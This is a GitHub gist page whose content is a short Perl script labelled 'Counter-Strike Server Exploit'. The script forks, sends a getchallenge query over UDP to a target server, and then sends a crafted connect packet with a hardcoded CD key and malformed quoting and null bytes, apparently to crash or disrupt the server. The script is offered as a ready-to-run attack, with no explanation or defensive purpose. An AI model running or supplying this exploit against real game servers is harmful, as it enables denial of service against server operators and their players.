Skip to content

Instantly share code, notes, and snippets.

@erayarslan
Last active August 29, 2015 14:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save erayarslan/a82dce33ab3d8025a0de to your computer and use it in GitHub Desktop.
Save erayarslan/a82dce33ab3d8025a0de to your computer and use it in GitHub Desktop.
Counter-Strike Server Exploit
use IO::Socket;
die "perl cs21.pl <ip:port>" unless $ARGV[0];
if (fork()) {
baglan($ARGV[0]);
} else {
baglan($ARGV[0]);
};
exit;
sub baglan($) {
my $sunucu = $_[0];
my $soket = new IO::Socket::INET(
PeerAddr => $sunucu,
PeerPort => '27015',
Proto=>'udp'
);
die "Soket olusturulamadi: $!\n" unless $soket;
$komut = "\xff\xff\xff\xff";
syswrite $soket, $komut."getchallenge";
sysread $soket, $b, 65535;
print $b, "\n";
@c = split(/ /,$b);
$c2 = $c[1];
$q = $komut."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $soket, $q;
sysread $soket,$b,65535;
print $b,"\n";
sleep 3;
close $soket;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment